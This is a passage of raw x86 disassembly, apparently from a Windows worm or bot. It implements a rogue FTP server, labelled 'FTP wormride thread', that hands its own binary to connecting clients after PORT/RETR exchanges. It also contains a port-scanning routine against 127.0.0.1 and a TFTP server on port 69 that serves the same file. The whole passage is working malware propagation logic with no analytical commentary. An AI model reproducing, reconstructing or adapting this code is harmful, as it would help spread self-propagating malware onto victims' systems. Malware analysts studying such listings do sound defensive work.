short locret_411139 ; --------------------------------------------------------------------------- loc_41111C: ; CODE XREF: sub_41102F+CFj jmp short loc_41109F ; --------------------------------------------------------------------------- loc_41111E: ; CODE XREF: sub_41102F+7Ej push [ebp+var_204] call sub_40538D pop ecx push [ebp+var_208] call sub_416B82 ; fclose pop ecx push 1 pop eax locret_411139: ; CODE XREF: sub_41102F+38j ; sub_41102F+6Bj ... leave retn sub_41102F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41113B proc near ; DATA XREF: sub_411BBC+156o var_558 = dword ptr -558h var_554 = dword ptr -554h var_550 = dword ptr -550h var_54C = dword ptr -54Ch var_548 = dword ptr -548h var_544 = dword ptr -544h var_540 = byte ptr -540h var_53C = byte ptr -53Ch var_538 = byte ptr -538h var_534 = dword ptr -534h var_530 = byte ptr -530h var_52C = dword ptr -52Ch var_528 = dword ptr -528h var_524 = dword ptr -524h var_520 = dword ptr -520h var_51C = dword ptr -51Ch var_518 = byte ptr -518h var_318 = byte ptr -318h var_118 = dword ptr -118h var_114 = byte ptr -114h var_113 = byte ptr -113h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = byte ptr -104h var_103 = byte ptr -103h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 558h push edi mov eax, [ebp+arg_0] mov [ebp+var_10C], eax push offset dword_41C6B0 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch mov al, byte_41DE30 mov [ebp+var_104], al push 3Fh pop ecx xor eax, eax lea edi, [ebp+var_103] rep stosd stosw stosb mov al, byte_41DE30 mov [ebp+var_114], al xor eax, eax lea edi, [ebp+var_113] stosd stosb and [ebp+var_4], 0 and [ebp+var_118], 0 and [ebp+var_108], 0 loc_4111CC: ; CODE XREF: sub_41113B+10Cj ; sub_41113B+1BDj ... push 0EA60h push [ebp+var_10C] call sub_40546E pop ecx pop ecx test eax, eax jz loc_4119BA push 200h lea eax, [ebp+var_318] push eax push [ebp+var_10C] call sub_4053DC add esp, 0Ch mov [ebp+var_520], eax cmp [ebp+var_520], 0 jz short loc_411218 cmp [ebp+var_520], 0FFFFFFFFh jnz short loc_41121D loc_411218: ; CODE XREF: sub_41113B+D2j jmp loc_4119BA ; --------------------------------------------------------------------------- loc_41121D: ; CODE XREF: sub_41113B+DBj lea eax, [ebp+var_108] push eax push offset dword_41C6AC lea eax, [ebp+var_318] push eax call sub_40813C add esp, 0Ch mov [ebp+var_528], eax cmp [ebp+var_528], 0 jnz short loc_411249 jmp short loc_4111CC ; --------------------------------------------------------------------------- loc_411249: ; CODE XREF: sub_41113B+10Aj lea eax, [ebp+var_108] push eax push offset dword_41C6AC push 0 call sub_40813C add esp, 0Ch mov [ebp+var_51C], eax cmp [ebp+var_51C], 0 jnz short loc_411278 mov [ebp+var_51C], offset byte_41DE30 loc_411278: ; CODE XREF: sub_41113B+131j lea eax, [ebp+var_108] push eax push offset dword_41C6AC push 0 call sub_40813C add esp, 0Ch push [ebp+var_528] call sub_40ED38 pop ecx mov [ebp+var_524], eax mov eax, [ebp+var_524] sub eax, dword_41C6A0 neg eax sbb eax, eax inc eax test eax, eax jz short loc_4112FD mov [ebp+var_4], 1 push offset dword_41C698 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_4112FD: ; CODE XREF: sub_41113B+178j mov eax, [ebp+var_524] sub eax, dword_41C68C neg eax sbb eax, eax inc eax test eax, eax jz short loc_41135D mov [ebp+var_118], 1 push offset dword_41C684 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_41135D: ; CODE XREF: sub_41113B+1D5j cmp [ebp+var_4], 0 jz short loc_41136C cmp [ebp+var_118], 0 jnz short loc_411371 loc_41136C: ; CODE XREF: sub_41113B+226j jmp loc_4111CC ; --------------------------------------------------------------------------- loc_411371: ; CODE XREF: sub_41113B+22Fj mov eax, [ebp+var_524] sub eax, dword_41C678 neg eax sbb eax, eax inc eax test eax, eax jz short loc_4113C7 push offset dword_41C670 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_4113C7: ; CODE XREF: sub_41113B+249j mov eax, [ebp+var_524] sub eax, dword_41C664 neg eax sbb eax, eax inc eax test eax, eax jz short loc_41141D push offset dword_41C65C push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_41141D: ; CODE XREF: sub_41113B+29Fj mov eax, [ebp+var_524] sub eax, dword_41C654 neg eax sbb eax, eax inc eax test eax, eax jz short loc_411473 push offset dword_41C648 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_411473: ; CODE XREF: sub_41113B+2F5j mov eax, [ebp+var_524] sub eax, dword_41C63C neg eax sbb eax, eax inc eax test eax, eax jz short loc_4114C9 push offset dword_41C634 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_4114C9: ; CODE XREF: sub_41113B+34Bj mov eax, [ebp+var_524] sub eax, dword_41C628 neg eax sbb eax, eax inc eax test eax, eax jz short loc_41151F push offset dword_41C620 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_41151F: ; CODE XREF: sub_41113B+3A1j mov eax, [ebp+var_524] sub eax, dword_41C614 neg eax sbb eax, eax inc eax test eax, eax jz loc_411622 lea eax, [ebp+var_534] push eax lea eax, [ebp+var_52C] push eax lea eax, [ebp+var_540] push eax lea eax, [ebp+var_53C] push eax lea eax, [ebp+var_538] push eax lea eax, [ebp+var_530] push eax push offset aUUUUUU ; "%u,%u,%u,%u,%u,%u" push [ebp+var_51C] call sub_416BA2 ; sscanf add esp, 20h movzx eax, [ebp+var_540] push eax movzx eax, [ebp+var_53C] push eax movzx eax, [ebp+var_538] push eax movzx eax, [ebp+var_530] push eax push offset dword_418A50 push 100h lea eax, [ebp+var_104] push eax call sub_416BAE ; _snprintf add esp, 1Ch mov eax, [ebp+var_52C] and eax, 0FFh shl eax, 8 mov ecx, [ebp+var_534] and ecx, 0FFh or eax, ecx push eax push offset dword_418A60 push 6 lea eax, [ebp+var_114] push eax call sub_416BAE ; _snprintf add esp, 10h push offset dword_41C634 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_411622: ; CODE XREF: sub_41113B+3F7j mov eax, [ebp+var_524] sub eax, dword_41C5F4 neg eax sbb eax, eax inc eax test eax, eax jz loc_4116E9 push offset aRb ; "rb" push offset dword_41EB2C call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_548], eax cmp [ebp+var_548], 0 jnz short loc_411660 jmp loc_4119BA ; --------------------------------------------------------------------------- loc_411660: ; CODE XREF: sub_41113B+51Ej push 2 push 0 push [ebp+var_548] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_548] call sub_416B76 ; ftell pop ecx mov [ebp+var_544], eax push 0 push 0 push [ebp+var_548] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_548] call sub_416B82 ; fclose pop ecx push [ebp+var_544] push offset dword_41C5E8 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 10h lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_4116E9: ; CODE XREF: sub_41113B+4FAj mov eax, [ebp+var_524] sub eax, dword_41C5DC neg eax sbb eax, eax inc eax test eax, eax jz loc_411873 push offset a150 ; "150 -\r\n" push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch push 2710h push 0 lea eax, [ebp+var_114] push eax lea eax, [ebp+var_104] push eax call sub_4050EA add esp, 10h mov [ebp+var_54C], eax cmp [ebp+var_54C], 0 jz short loc_411773 cmp [ebp+var_54C], 0FFFFFFFFh jnz short loc_411778 loc_411773: ; CODE XREF: sub_41113B+62Dj jmp loc_4119BA ; --------------------------------------------------------------------------- loc_411778: ; CODE XREF: sub_41113B+636j push offset aRb ; "rb" push offset dword_41EB2C call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_554], eax cmp [ebp+var_554], 0 jnz short loc_41179D jmp loc_4119BA ; --------------------------------------------------------------------------- loc_41179D: ; CODE XREF: sub_41113B+65Bj push 2 push 0 push [ebp+var_554] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_554] call sub_416B76 ; ftell pop ecx mov [ebp+var_550], eax push 0 push 0 push [ebp+var_554] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_554] call sub_416B82 ; fclose pop ecx push offset dword_41EB2C push [ebp+var_550] push offset aX32000Fh1024Ja ; "-x 3 2000 fh 1024 Jan 1 0:00 .\r\ndrwxr-x"... push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 14h lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_54C] call sub_4053BF add esp, 0Ch push [ebp+var_54C] call sub_40538D pop ecx push offset dword_41C558 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_411873: ; CODE XREF: sub_41113B+5C1j mov eax, [ebp+var_524] sub eax, dword_41C54C neg eax sbb eax, eax inc eax test eax, eax jz loc_411969 push offset a150 ; "150 -\r\n" push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch lea eax, [ebp+var_114] push eax lea eax, [ebp+var_104] push eax call sub_41102F pop ecx pop ecx test eax, eax jz loc_411967 push offset dword_41C558 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch push 1 push offset dword_41EB08 call sub_409C88 pop ecx pop ecx inc eax mov [ebp+var_558], eax lea eax, [ebp+var_104] push eax push [ebp+var_558] push offset aFtp_0 ; "ftp" push offset unk_41C520 push offset dword_41DAB4 call sub_40D4AB add esp, 14h push 3E8h call dword_41709C ; Sleep jmp short loc_4119BA ; --------------------------------------------------------------------------- loc_411967: ; CODE XREF: sub_41113B+7A4j jmp short loc_4119BA ; --------------------------------------------------------------------------- loc_411969: ; CODE XREF: sub_41113B+74Bj mov eax, [ebp+var_524] sub eax, dword_41C514 neg eax sbb eax, eax inc eax test eax, eax jz short loc_4119BA push offset a221 ; "221 -\r\n" push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch loc_4119BA: ; CODE XREF: sub_41113B+A5j ; sub_41113B:loc_411218j ... push offset a231 ; "231 -\r\n" push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch push [ebp+var_10C] call sub_40538D pop ecx xor eax, eax pop edi leave retn 4 sub_41113B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411A09 proc near ; CODE XREF: sub_411BBC+90p var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 204h push 32h push [ebp+arg_0] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_411A29 xor eax, eax jmp locret_411BBA ; --------------------------------------------------------------------------- loc_411A29: ; CODE XREF: sub_411A09+17j push 200h lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_4053DC add esp, 0Ch mov [ebp+var_204], eax cmp [ebp+var_204], 0 jz short loc_411A58 cmp [ebp+var_204], 0FFFFFFFFh jnz short loc_411A5F loc_411A58: ; CODE XREF: sub_411A09+44j xor eax, eax jmp locret_411BBA ; --------------------------------------------------------------------------- loc_411A5F: ; CODE XREF: sub_411A09+4Dj lea eax, [ebp+var_200] push eax call sub_407BF5 pop ecx push offset dword_41C6D8 lea eax, [ebp+var_200] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jz short loc_411A8A xor eax, eax jmp locret_411BBA ; --------------------------------------------------------------------------- loc_411A8A: ; CODE XREF: sub_411A09+78j push offset dword_41C6CC lea eax, [ebp+var_200] push eax call sub_416B5E ; sprintf pop ecx pop ecx lea eax, [ebp+var_200] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_4053BF add esp, 0Ch push 32h push 200h lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_405443 add esp, 10h mov [ebp+var_204], eax cmp [ebp+var_204], 0 jz short loc_411AEE cmp [ebp+var_204], 0FFFFFFFFh jnz short loc_411AF5 loc_411AEE: ; CODE XREF: sub_411A09+DAj xor eax, eax jmp locret_411BBA ; --------------------------------------------------------------------------- loc_411AF5: ; CODE XREF: sub_411A09+E3j lea eax, [ebp+var_200] push eax call sub_407BF5 pop ecx push offset dword_41C6C8 lea eax, [ebp+var_200] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jz short loc_411B20 xor eax, eax jmp locret_411BBA ; --------------------------------------------------------------------------- loc_411B20: ; CODE XREF: sub_411A09+10Ej call sub_410422 push eax push offset dword_41C6BC lea eax, [ebp+var_200] push eax call sub_416B5E ; sprintf add esp, 0Ch lea eax, [ebp+var_200] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_4053BF add esp, 0Ch push 32h push 200h lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_405443 add esp, 10h mov [ebp+var_204], eax cmp [ebp+var_204], 0 jz short loc_411B8B cmp [ebp+var_204], 0FFFFFFFFh jnz short loc_411B8F loc_411B8B: ; CODE XREF: sub_411A09+177j xor eax, eax jmp short locret_411BBA ; --------------------------------------------------------------------------- loc_411B8F: ; CODE XREF: sub_411A09+180j lea eax, [ebp+var_200] push eax call sub_407BF5 pop ecx push offset dword_41C6B8 lea eax, [ebp+var_200] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jz short loc_411BB7 xor eax, eax jmp short locret_411BBA ; --------------------------------------------------------------------------- loc_411BB7: ; CODE XREF: sub_411A09+1A8j push 1 pop eax locret_411BBA: ; CODE XREF: sub_411A09+1Bj ; sub_411A09+51j ... leave retn sub_411A09 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411BBC proc near ; CODE XREF: sub_411D59+6p var_1C8 = dword ptr -1C8h var_1C4 = dword ptr -1C4h var_1C0 = dword ptr -1C0h var_1BC = byte ptr -1BCh var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1C8h push 1A7h push [ebp+arg_0] lea eax, [ebp+var_1C0] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx mov [ebp+var_4], 1 and [ebp+var_10], 0 and [ebp+var_C], 0 mov [ebp+var_8], 1 jmp short loc_411C04 ; --------------------------------------------------------------------------- loc_411BFD: ; CODE XREF: sub_411BBC:loc_411CABj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_411C04: ; CODE XREF: sub_411BBC+3Fj cmp [ebp+var_8], 0FFFFh jnb loc_411CB0 push 0Ah lea eax, [ebp+var_18] push eax push [ebp+var_8] call sub_416F7A ; _itoa add esp, 0Ch push 0FFFFFFFFh push 0 lea eax, [ebp+var_18] push eax push offset a127_0_0_1 ; "127.0.0.1" call sub_4050EA add esp, 10h mov [ebp+var_1C4], eax cmp [ebp+var_1C4], 0 jz short loc_411CAB push [ebp+var_1C4] call sub_411A09 pop ecx test eax, eax jz short loc_411C9F mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax cmp [ebp+var_4], 0 jnz short loc_411C76 push 2 lea eax, [ebp+var_18] push eax push [ebp+var_10] call sub_404871 add esp, 0Ch jmp short loc_411C9F ; --------------------------------------------------------------------------- loc_411C76: ; CODE XREF: sub_411BBC+A5j push 2 lea eax, [ebp+var_18] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_411C9F push [ebp+var_1C0] call sub_409763 pop ecx xor eax, eax jmp locret_411D55 ; --------------------------------------------------------------------------- loc_411C9F: ; CODE XREF: sub_411BBC+98j ; sub_411BBC+B8j ... push [ebp+var_1C4] call sub_4053B1 pop ecx loc_411CAB: ; CODE XREF: sub_411BBC+88j jmp loc_411BFD ; --------------------------------------------------------------------------- loc_411CB0: ; CODE XREF: sub_411BBC+4Fj cmp [ebp+var_10], 0 jnz short loc_411CC9 push [ebp+var_1C0] call sub_409763 pop ecx xor eax, eax jmp locret_411D55 ; --------------------------------------------------------------------------- loc_411CC9: ; CODE XREF: sub_411BBC+F8j mov eax, [ebp+var_1C0] push dword ptr [eax] push offset unk_41C6DC lea eax, [ebp+var_1BC] push eax call sub_40D53F add esp, 0Ch loc_411CE5: ; CODE XREF: sub_411BBC:loc_411D3Cj push 3E8h push [ebp+var_10] call sub_4048EF pop ecx pop ecx mov [ebp+var_1C8], eax cmp [ebp+var_1C8], 0 jz short loc_411D2E cmp [ebp+var_1C8], 0FFFFFFFFh jz short loc_411D2E push [ebp+var_1C8] push offset sub_41113B call sub_409479 pop ecx pop ecx test eax, eax jnz short loc_411D2E push [ebp+var_1C8] call sub_4053B1 pop ecx loc_411D2E: ; CODE XREF: sub_411BBC+145j ; sub_411BBC+14Ej ... mov eax, [ebp+var_1C0] cmp dword ptr [eax+4], 0 jz short loc_411D3C jmp short loc_411D3E ; --------------------------------------------------------------------------- loc_411D3C: ; CODE XREF: sub_411BBC+17Cj jmp short loc_411CE5 ; --------------------------------------------------------------------------- loc_411D3E: ; CODE XREF: sub_411BBC+17Ej push [ebp+var_10] call sub_404CBB pop ecx push [ebp+var_1C0] call sub_409763 pop ecx xor eax, eax locret_411D55: ; CODE XREF: sub_411BBC+DEj ; sub_411BBC+108j leave retn 4 sub_411BBC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411D59 proc near ; DATA XREF: sub_411D68+4Eo arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call sub_411BBC pop ebp retn 4 sub_411D59 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411D68 proc near ; CODE XREF: sub_40A9CF+70Fp ; sub_40A9CF+735p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx call sub_4042FB test eax, eax jz short loc_411D77 jmp short locret_411DC3 ; --------------------------------------------------------------------------- loc_411D77: ; CODE XREF: sub_411D68+Bj push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_411D8D jmp short locret_411DC3 ; --------------------------------------------------------------------------- loc_411D8D: ; CODE XREF: sub_411D68+21j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aFtpWormrideThr ; "FTP wormride thread" mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_4] push offset sub_411D59 call sub_4095A4 add esp, 10h locret_411DC3: ; CODE XREF: sub_411D68+Dj ; sub_411D68+23j leave retn sub_411D68 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411DC5 proc near ; DATA XREF: sub_4123F6+43o var_DAC = dword ptr -0DACh var_DA8 = dword ptr -0DA8h var_DA4 = dword ptr -0DA4h var_DA0 = byte ptr -0DA0h var_D9C = dword ptr -0D9Ch var_D98 = byte ptr -0D98h var_D94 = dword ptr -0D94h var_D90 = dword ptr -0D90h var_D8C = dword ptr -0D8Ch var_D88 = dword ptr -0D88h var_D84 = dword ptr -0D84h var_D80 = byte ptr -0D80h var_D7C = dword ptr -0D7Ch var_D70 = byte ptr -0D70h var_D6F = byte ptr -0D6Fh var_D6E = byte ptr -0D6Eh var_D6D = byte ptr -0D6Dh var_D6C = byte ptr -0D6Ch var_B6C = dword ptr -0B6Ch var_B68 = dword ptr -0B68h var_B64 = dword ptr -0B64h var_B60 = dword ptr -0B60h var_B5C = dword ptr -0B5Ch var_B58 = dword ptr -0B58h var_358 = dword ptr -358h var_354 = byte ptr -354h var_1B0 = word ptr -1B0h var_1AE = word ptr -1AEh var_1AC = dword ptr -1ACh var_1A0 = dword ptr -1A0h var_19C = byte ptr -19Ch var_19B = byte ptr -19Bh var_19A = byte ptr -19Ah var_199 = byte ptr -199h var_11C = byte ptr -11Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0DACh push edi push 1A7h push [ebp+arg_0] lea eax, [ebp+var_358] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push 0 push 2 push 2 call dword_417218 ; socket mov [ebp+var_108], eax cmp [ebp+var_108], 0FFFFFFFFh jnz short loc_411E1D push [ebp+var_358] call sub_409763 pop ecx xor eax, eax jmp loc_4123F1 ; --------------------------------------------------------------------------- loc_411E1D: ; CODE XREF: sub_411DC5+43j lea eax, [ebp+var_104] push eax call sub_40CF25 push eax call sub_40449C pop ecx pop ecx push 10h push 0 lea eax, [ebp+var_1B0] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_1B0], 2 push 45h call dword_417238 ; htons mov [ebp+var_1AE], ax lea eax, [ebp+var_104] push eax call dword_417244 ; inet_addr mov [ebp+var_1AC], eax mov [ebp+var_1A0], 1 push 4 lea eax, [ebp+var_1A0] push eax push 4 push 0FFFFh push [ebp+var_108] call dword_417204 ; setsockopt push 10h lea eax, [ebp+var_1B0] push eax push [ebp+var_108] call dword_417208 ; bind cmp eax, 0FFFFFFFFh jnz short loc_411EC2 push [ebp+var_358] call sub_409763 pop ecx xor eax, eax jmp loc_4123F1 ; --------------------------------------------------------------------------- loc_411EC2: ; CODE XREF: sub_411DC5+E8j push offset aRb ; "rb" push offset dword_41EB2C call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_10C], eax cmp [ebp+var_10C], 0 jnz short loc_411F01 push [ebp+var_108] call dword_417230 ; closesocket push [ebp+var_358] call sub_409763 pop ecx xor eax, eax jmp loc_4123F1 ; --------------------------------------------------------------------------- loc_411F01: ; CODE XREF: sub_411DC5+11Bj mov eax, [ebp+var_358] push dword ptr [eax] push offset unk_41C788 lea eax, [ebp+var_354] push eax call sub_40D53F add esp, 0Ch push 2 push 0 push [ebp+var_10C] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_10C] call sub_416B76 ; ftell pop ecx mov [ebp+var_4], eax push 0 push 0 push [ebp+var_10C] call sub_416B96 ; fseek add esp, 0Ch push 80h push 0 lea eax, [ebp+var_19C] push eax call sub_416B6A ; memset add esp, 0Ch loc_411F66: ; CODE XREF: sub_411DC5:loc_412084j ; sub_411DC5:loc_4123C6j mov [ebp+var_B64], 1 and [ebp+var_B60], 0 and [ebp+var_B5C], 0 loc_411F7E: ; CODE XREF: sub_411DC5+234j and [ebp+var_B68], 0 jmp short loc_411F94 ; --------------------------------------------------------------------------- loc_411F87: ; CODE XREF: sub_411DC5:loc_411FB9j mov eax, [ebp+var_B68] inc eax mov [ebp+var_B68], eax loc_411F94: ; CODE XREF: sub_411DC5+1C0j mov eax, [ebp+var_B68] cmp eax, [ebp+var_B5C] jnb short loc_411FBB mov eax, [ebp+var_B68] mov eax, [ebp+eax*4+var_B58] cmp eax, [ebp+var_108] jnz short loc_411FB9 jmp short loc_411FBB ; --------------------------------------------------------------------------- loc_411FB9: ; CODE XREF: sub_411DC5+1F0j jmp short loc_411F87 ; --------------------------------------------------------------------------- loc_411FBB: ; CODE XREF: sub_411DC5+1DBj ; sub_411DC5+1F2j mov eax, [ebp+var_B68] cmp eax, [ebp+var_B5C] jnz short loc_411FF5 cmp [ebp+var_B5C], 200h jnb short loc_411FF5 mov eax, [ebp+var_B68] mov ecx, [ebp+var_108] mov [ebp+eax*4+var_B58], ecx mov eax, [ebp+var_B5C] inc eax mov [ebp+var_B5C], eax loc_411FF5: ; CODE XREF: sub_411DC5+202j ; sub_411DC5+20Ej xor eax, eax test eax, eax jnz short loc_411F7E lea eax, [ebp+var_B64] push eax push 0 push 0 lea eax, [ebp+var_B5C] push eax push 0 call dword_41722C ; select test eax, eax jle loc_4123B8 mov [ebp+var_D84], 10h mov al, byte_41DE30 mov [ebp+var_D70], al mov ecx, 80h xor eax, eax lea edi, [ebp+var_D6F] rep stosd stosw stosb lea eax, [ebp+var_D84] push eax lea eax, [ebp+var_D80] push eax push 0 push 80h lea eax, [ebp+var_19C] push eax push [ebp+var_108] call dword_417258 ; recvfrom mov [ebp+var_B6C], eax cmp [ebp+var_B6C], 0 jz short loc_412084 cmp [ebp+var_B6C], 0FFFFFFFFh jnz short loc_412089 loc_412084: ; CODE XREF: sub_411DC5+2B4j jmp loc_411F66 ; --------------------------------------------------------------------------- loc_412089: ; CODE XREF: sub_411DC5+2BDj movsx eax, [ebp+var_19C] test eax, eax jnz loc_4121C0 movsx eax, [ebp+var_19B] cmp eax, 1 jnz loc_4121C0 lea eax, [ebp+var_19C] mov [ebp+var_D88], eax lea eax, [ebp+var_19C] mov [ebp+var_D8C], eax mov eax, [ebp+var_D88] inc eax inc eax mov [ebp+var_D88], eax mov eax, [ebp+var_D8C] inc eax inc eax mov [ebp+var_D8C], eax push [ebp+var_D8C] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_D8C] lea eax, [ecx+eax+1] mov [ebp+var_D8C], eax push offset aOctet ; "octet" call sub_416B40 ; strlen pop ecx push eax push [ebp+var_D8C] push offset aOctet ; "octet" call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jz short loc_41213F push [ebp+var_D84] lea eax, [ebp+var_D80] push eax push 0 push 13h push offset dword_41C76C push [ebp+var_108] call dword_417250 ; sendto jmp short loc_4121BB ; --------------------------------------------------------------------------- loc_41213F: ; CODE XREF: sub_411DC5+354j push 0 push 0 push [ebp+var_10C] call sub_416B96 ; fseek add esp, 0Ch and [ebp+var_D70], 0 mov [ebp+var_D6F], 3 and [ebp+var_D6E], 0 mov [ebp+var_D6D], 1 push [ebp+var_10C] push 200h push 1 lea eax, [ebp+var_D6C] push eax call sub_416B90 ; fread add esp, 10h mov [ebp+var_D90], eax push [ebp+var_D84] lea eax, [ebp+var_D80] push eax push 0 mov eax, [ebp+var_D90] add eax, 4 push eax lea eax, [ebp+var_D70] push eax push [ebp+var_108] call dword_417250 ; sendto loc_4121BB: ; CODE XREF: sub_411DC5+378j jmp loc_4123B8 ; --------------------------------------------------------------------------- loc_4121C0: ; CODE XREF: sub_411DC5+2CDj ; sub_411DC5+2DDj movsx eax, [ebp+var_19C] test 